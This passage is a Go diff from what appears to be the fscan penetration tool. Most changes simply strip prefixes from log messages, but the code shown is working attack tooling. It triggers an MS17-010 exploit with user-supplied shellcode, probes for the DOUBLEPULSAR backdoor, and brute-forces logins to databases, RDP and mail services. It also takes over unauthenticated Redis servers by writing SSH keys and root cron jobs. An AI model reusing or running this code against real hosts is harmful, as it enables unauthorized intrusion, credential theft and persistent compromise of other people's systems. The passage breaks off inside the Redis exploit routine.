packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS)
|
||||
if _, err = conn.Write(packet); err != nil {
|
||||
return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err)
|
||||
return nil, fmt.Errorf("发送内存释放会话数据包失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
if _, _, err = smb1GetResponse(conn); err != nil {
|
||||
return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err)
|
||||
return nil, fmt.Errorf("获取会话响应失败: %v", err)
|
||||
}
|
||||
|
||||
ok = true
|
||||
@ -1251,12 +1251,12 @@ func smb2Grooms(address string, grooms int) ([]net.Conn, error) {
|
||||
// 创建TCP连接
|
||||
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
||||
return nil, fmt.Errorf("连接目标失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送SMB2头
|
||||
if _, err = conn.Write(header); err != nil {
|
||||
return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err)
|
||||
return nil, fmt.Errorf("发送SMB2头失败: %v", err)
|
||||
}
|
||||
|
||||
conns = append(conns, conn)
|
||||
|
@ -3,10 +3,9 @@ package Plugins
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
@ -33,126 +32,133 @@ func init() {
|
||||
// 解密协议请求
|
||||
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密协议请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码协议请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密会话请求
|
||||
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密会话请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码会话请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密连接请求
|
||||
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密连接请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
treeConnectRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码连接请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密管道请求
|
||||
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密管道请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码管道请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密会话设置请求
|
||||
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密会话设置请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码会话设置请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
// MS17010 扫描入口函数
|
||||
func MS17010(info *Common.HostInfo) error {
|
||||
// 暴力破解模式下跳过扫描
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 执行MS17-010漏洞扫描
|
||||
err := MS17010Scan(info)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// MS17010Scan 执行MS17-010漏洞扫描
|
||||
func MS17010Scan(info *Common.HostInfo) error {
|
||||
ip := info.Host
|
||||
|
||||
// 连接目标445端口
|
||||
// 连接目标
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
return fmt.Errorf("连接错误: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置连接超时
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("设置超时错误: %v", err)
|
||||
}
|
||||
|
||||
// 发送SMB协议协商请求
|
||||
// SMB协议协商
|
||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("发送协议请求错误: %v", err)
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply := make([]byte, 1024)
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取协议响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("协议响应不完整")
|
||||
}
|
||||
|
||||
// 检查协议响应状态
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return err
|
||||
return fmt.Errorf("协议协商被拒绝")
|
||||
}
|
||||
|
||||
// 发送会话建立请求
|
||||
// 建立会话
|
||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("发送会话请求错误: %v", err)
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
return err
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取会话响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("会话响应不完整")
|
||||
}
|
||||
|
||||
// 检查会话响应状态
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return errors.New("无法确定目标是否存在漏洞")
|
||||
return fmt.Errorf("会话建立失败")
|
||||
}
|
||||
|
||||
// 提取操作系统信息
|
||||
// 提取系统信息
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip)
|
||||
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
|
||||
} else {
|
||||
// 查找Unicode字符串结束标记(两个连续的0字节)
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
@ -163,69 +169,76 @@ func MS17010Scan(info *Common.HostInfo) error {
|
||||
}
|
||||
}
|
||||
|
||||
// 获取用户ID
|
||||
// 树连接请求
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
|
||||
// 发送树连接请求
|
||||
if _, err = conn.Write(treeConnectRequest); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("发送树连接请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取树连接响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("树连接响应不完整")
|
||||
}
|
||||
|
||||
// 获取树ID并设置后续请求
|
||||
// 命名管道请求
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
// 发送命名管道请求
|
||||
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("发送管道请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取管道响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("管道响应不完整")
|
||||
}
|
||||
|
||||
// 检查漏洞状态
|
||||
// 漏洞检测
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
// 目标存在MS17-010漏洞
|
||||
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os))
|
||||
if os != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
|
||||
}
|
||||
|
||||
// 如果指定了shellcode,执行漏洞利用
|
||||
defer func() {
|
||||
if Common.Shellcode != "" {
|
||||
MS17010EXP(info)
|
||||
}
|
||||
}()
|
||||
|
||||
// 检测DOUBLEPULSAR后门
|
||||
// DOUBLEPULSAR后门检测
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("发送后门检测请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取后门检测响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("后门检测响应不完整")
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip))
|
||||
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
|
||||
}
|
||||
} else {
|
||||
// 未检测到漏洞,仅输出系统信息
|
||||
Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os))
|
||||
|
||||
// Shellcode利用
|
||||
if Common.Shellcode != "" {
|
||||
defer MS17010EXP(info)
|
||||
}
|
||||
} else if os != "" {
|
||||
Common.LogInfo(fmt.Sprintf("系统信息 %s [%s]", ip, os))
|
||||
}
|
||||
|
||||
return err
|
||||
return nil
|
||||
}
|
||||
|
@ -82,7 +82,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v",
|
||||
errlog := fmt.Sprintf("MSSQL %v:%v %v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
|
@ -33,14 +33,14 @@ func MemcachedScan(info *Common.HostInfo) error {
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
|
||||
errlog := fmt.Sprintf("Memcached %v:%v %v", info.Host, info.Ports, err)
|
||||
Common.LogError(errlog)
|
||||
return err
|
||||
}
|
||||
|
||||
// 检查响应内容
|
||||
if strings.Contains(string(rev[:n]), "STAT") {
|
||||
result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost)
|
||||
result := fmt.Sprintf("Memcached %s 未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
|
||||
|
@ -41,13 +41,13 @@ func ModbusScan(info *Common.HostInfo) error {
|
||||
|
||||
// 验证响应
|
||||
if isValidModbusResponse(response[:n]) {
|
||||
result := fmt.Sprintf("[+] Modbus服务 %v:%v 无认证访问", host, port)
|
||||
result := fmt.Sprintf("Modbus服务 %v:%v 无认证访问", host, port)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试读取更多设备信息
|
||||
deviceInfo := parseModbusResponse(response[:n])
|
||||
if deviceInfo != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] 设备信息: %s", deviceInfo))
|
||||
Common.LogSuccess(fmt.Sprintf("设备信息: %s", deviceInfo))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
@ -15,7 +15,7 @@ func MongodbScan(info *Common.HostInfo) error {
|
||||
|
||||
_, err := MongodbUnauth(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err)
|
||||
errlog := fmt.Sprintf("MongoDB %v:%v %v", info.Host, info.Ports, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
@ -41,7 +41,7 @@ func MongodbUnauth(info *Common.HostInfo) (bool, error) {
|
||||
|
||||
// 检查响应结果
|
||||
if strings.Contains(reply, "totalLinesWritten") {
|
||||
result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost)
|
||||
result := fmt.Sprintf("MongoDB %v 未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
@ -91,7 +91,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 连接成功
|
||||
select {
|
||||
case successChan <- struct{}{}: // 标记成功
|
||||
successLog := fmt.Sprintf("[+] MySQL %v:%v %v %v",
|
||||
successLog := fmt.Sprintf("MySQL %v:%v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(successLog)
|
||||
default:
|
||||
@ -105,7 +105,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v",
|
||||
errlog := fmt.Sprintf("MySQL %v:%v %v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
|
@ -100,7 +100,7 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -177,7 +177,7 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
}
|
||||
|
||||
// 连接成功
|
||||
result := fmt.Sprintf("[+] Neo4j服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("Neo4j服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
@ -18,7 +18,7 @@ func NetBIOS(info *Common.HostInfo) error {
|
||||
netbios, _ := NetBIOS1(info)
|
||||
output := netbios.String()
|
||||
if len(output) > 0 {
|
||||
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
|
||||
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
|
||||
Common.LogSuccess(result)
|
||||
return nil
|
||||
}
|
||||
|
@ -85,7 +85,7 @@ func OracleScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v",
|
||||
errlog := fmt.Sprintf("Oracle %v:%v %v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -152,7 +152,7 @@ func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
}
|
||||
|
||||
// 连接成功
|
||||
result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password)
|
||||
result := fmt.Sprintf("Oracle %v:%v:%v %v", host, port, username, password)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
@ -77,7 +77,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
// 连接成功
|
||||
successLog := fmt.Sprintf("[+] POP3服务 %v:%v 用户名: %v 密码: %v",
|
||||
successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(successLog)
|
||||
resultChan <- nil
|
||||
@ -89,7 +89,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -198,7 +198,7 @@ func tryPOP3Auth(conn net.Conn, host string, port string, user string, pass stri
|
||||
}
|
||||
|
||||
if strings.Contains(response, "+OK") {
|
||||
result := fmt.Sprintf("[+] POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
|
||||
result := fmt.Sprintf("POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
|
||||
if isTLS {
|
||||
result += " (TLS)"
|
||||
}
|
||||
|
@ -85,7 +85,7 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v",
|
||||
errlog := fmt.Sprintf("PostgreSQL %v:%v %v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -152,7 +152,7 @@ func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error)
|
||||
}
|
||||
|
||||
// 连接成功
|
||||
result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password)
|
||||
result := fmt.Sprintf("PostgreSQL %v:%v:%v %v", host, port, username, password)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
@ -73,9 +73,9 @@ func RdpScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 连接成功
|
||||
var result string
|
||||
if Common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass)
|
||||
result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", info.Host, port, user, pass)
|
||||
result = fmt.Sprintf("RDP %v:%v:%v %v", info.Host, port, user, pass)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
select {
|
||||
@ -86,7 +86,7 @@ func RdpScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
// 连接失败
|
||||
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err)
|
||||
errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
}()
|
||||
@ -139,9 +139,9 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute
|
||||
// 连接成功
|
||||
var result string
|
||||
if domain != "" {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
|
||||
result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
|
||||
result = fmt.Sprintf("RDP %v:%v:%v %v", host, port, user, pass)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
*signal = true
|
||||
@ -149,7 +149,7 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute
|
||||
}
|
||||
|
||||
// 连接失败
|
||||
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
|
||||
errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
|
@ -82,7 +82,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v",
|
||||
result := fmt.Sprintf("RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(result)
|
||||
resultChan <- nil
|
||||
@ -94,7 +94,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -158,7 +158,7 @@ func RabbitMQConn(info *Common.HostInfo, user string, pass string) (bool, error)
|
||||
|
||||
// 如果成功连接
|
||||
if conn != nil {
|
||||
result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
|
||||
result := fmt.Sprintf("RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
@ -90,7 +90,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Redis %v:%v %v %v",
|
||||
errlog := fmt.Sprintf("Redis %v:%v %v %v",
|
||||
info.Host, info.Ports, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -126,7 +126,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
return tmperr
|
||||
}
|
||||
|
||||
@ -162,12 +162,12 @@ func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
|
||||
// 获取配置信息
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
|
||||
result := fmt.Sprintf("Redis %s %s", realhost, pass)
|
||||
Common.LogSuccess(result)
|
||||
return true, err
|
||||
}
|
||||
|
||||
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
||||
result := fmt.Sprintf("Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试利用
|
||||
@ -186,28 +186,28 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置读取超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// 发送info命令测试未授权访问
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
|
||||
@ -217,19 +217,19 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
|
||||
// 获取Redis配置信息
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost)
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// 输出详细信息
|
||||
result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试漏洞利用
|
||||
err = Expoilt(realhost, conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
|
||||
}
|
||||
}
|
||||
|
||||
@ -246,53 +246,53 @@ func Expoilt(realhost string, conn net.Conn) error {
|
||||
// 测试目录写入权限
|
||||
flagSsh, flagCron, err := testwrite(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err))
|
||||
return err
|
||||
}
|
||||
|
||||
// SSH密钥写入测试
|
||||
if flagSsh {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost))
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /root/.ssh/", realhost))
|
||||
|
||||
// 如果指定了密钥文件则尝试写入
|
||||
if Common.RedisFile != "" {
|
||||
writeok, text, err := writekey(conn, Common.RedisFile)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
|
||||
return err
|
||||
}
|
||||
|
||||
if writeok {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost))
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v SSH公钥写入成功", realhost))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text))
|
||||
Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 定时任务写入测试
|
||||
if flagCron {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost))
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /var/spool/cron/", realhost))
|
||||
|
||||
// 如果指定了shell命令则尝试写入定时任务
|
||||
if Common.RedisShell != "" {
|
||||
writeok, text, err := writecron(conn, Common.RedisShell)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
|
||||
return err
|
||||
}
|
||||
|
||||
if writeok {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost))
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v 成功写入 /var/spool/cron/root", realhost))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text))
|
